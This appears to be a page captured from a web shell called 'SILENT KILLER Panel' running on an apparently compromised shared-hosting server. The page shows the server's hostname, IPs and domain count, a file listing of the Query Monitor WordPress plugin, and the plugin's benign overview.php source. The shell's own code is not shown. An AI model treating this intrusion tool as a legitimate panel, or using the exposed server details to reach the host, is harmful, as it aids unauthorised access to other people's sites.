SILENT KILLERPanel

Current Path: > home > transcarter > > www > wp-content > plugins > query-monitor > > collectors >


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www/wp-content/plugins/query-monitor//collectors/

NameTypeSizeLast ModifiedActions
admin.php File 3426 bytes July 17 2025 21:05:45.
assets_scripts.php File 1215 bytes July 17 2025 21:05:45.
assets_styles.php File 862 bytes July 17 2025 21:05:45.
block_editor.php File 5528 bytes July 17 2025 21:05:45.
cache.php File 3576 bytes July 17 2025 21:05:45.
caps.php File 7352 bytes July 17 2025 21:05:45.
conditionals.php File 2803 bytes July 17 2025 21:05:45.
db_callers.php File 1140 bytes July 17 2025 21:05:45.
db_components.php File 1175 bytes July 17 2025 21:05:45.
db_dupes.php File 3498 bytes July 17 2025 21:05:45.
db_queries.php File 6415 bytes July 17 2025 21:05:45.
debug_bar.php File 2757 bytes July 17 2025 21:05:45.
doing_it_wrong.php File 12778 bytes July 17 2025 21:05:45.
environment.php File 9074 bytes July 17 2025 21:05:45.
hooks.php File 2019 bytes July 17 2025 21:05:45.
http.php File 11557 bytes July 17 2025 21:05:45.
languages.php File 7552 bytes July 17 2025 21:05:45.
logger.php File 7945 bytes July 17 2025 21:05:45.
multisite.php File 1631 bytes July 17 2025 21:05:45.
overview.php File 2845 bytes July 17 2025 21:05:45.
php_errors.php File 15565 bytes July 17 2025 21:05:45.
raw_request.php File 2424 bytes July 17 2025 21:05:45.
redirects.php File 1365 bytes July 17 2025 21:05:45.
request.php File 7325 bytes July 17 2025 21:05:45.
theme.php File 17934 bytes July 17 2025 21:05:45.
timing.php File 4448 bytes July 17 2025 21:05:45.
transients.php File 3010 bytes July 17 2025 21:05:45.

Reading File: /home/transcarter//www/wp-content/plugins/query-monitor//collectors//overview.php

<?php declare(strict_types = 1);
/**
 * General overview collector.
 *
 * @package query-monitor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * @extends QM_DataCollector<QM_Data_Overview>
 */
class QM_Collector_Overview extends QM_DataCollector {

	public $id = 'overview';

	public function get_storage(): QM_Data {
		return new QM_Data_Overview();
	}

	/**
	 * @return void
	 */
	public function set_up() {
		parent::set_up();

		add_action( 'shutdown', array( $this, 'process_timing' ), 0 );
	}

	/**
	 * @return void
	 */
	public function tear_down() {
		remove_action( 'shutdown', array( $this, 'process_timing' ), 0 );

		parent::tear_down();
	}

	/**
	 * Processes the timing and memory related stats as early as possible, so the
	 * data isn't skewed by collectors that are processed before this one.
	 *
	 * @return void
	 */
	public function process_timing() {
		$this->data->time_taken = self::timer_stop_float();

		if ( function_exists( 'memory_get_peak_usage' ) ) {
			$this->data->memory = memory_get_peak_usage();
		} elseif ( function_exists( 'memory_get_usage' ) ) {
			$this->data->memory = memory_get_usage();
		} else {
			$this->data->memory = 0;
		}
	}

	/**
	 * @return void
	 */
	public function process() {
		if ( ! isset( $this->data->time_taken ) ) {
			$this->process_timing();
		}

		$this->data->time_limit = (int) ini_get( 'max_execution_time' );
		$this->data->time_start = $_SERVER['REQUEST_TIME_FLOAT'];

		if ( ! empty( $this->data->time_limit ) ) {
			$this->data->time_usage = ( 100 / $this->data->time_limit ) * $this->data->time_taken;
		} else {
			$this->data->time_usage = 0;
		}

		if ( is_user_logged_in() ) {
			$this->data->current_user = self::format_user( wp_get_current_user() );
		} else {
			$this->data->current_user = null;
		}

		if ( function_exists( 'current_user_switched' ) && current_user_switched() ) {
			$this->data->switched_user = self::format_user( current_user_switched() );
		} else {
			$this->data->switched_user = null;
		}

		$this->data->memory_limit = QM_Util::convert_hr_to_bytes( ini_get( 'memory_limit' ) ?: '0' );

		if ( $this->data->memory_limit > 0 ) {
			$this->data->memory_usage = ( 100 / $this->data->memory_limit ) * $this->data->memory;
		} else {
			$this->data->memory_usage = 0;
		}

		$this->data->display_time_usage_warning = ( $this->data->time_usage >= 75 );
		$this->data->display_memory_usage_warning = ( $this->data->memory_usage >= 75 );

		$this->data->is_admin = is_admin();
	}

}

/**
 * @param array<string, QM_Collector> $collectors
 * @param QueryMonitor $qm
 * @return array<string, QM_Collector>
 */
function register_qm_collector_overview( array $collectors, QueryMonitor $qm ) {
	$collectors['overview'] = new QM_Collector_Overview();
	return $collectors;
}

add_filter( 'qm/collectors', 'register_qm_collector_overview', 1, 2 );

SILENT KILLER Tool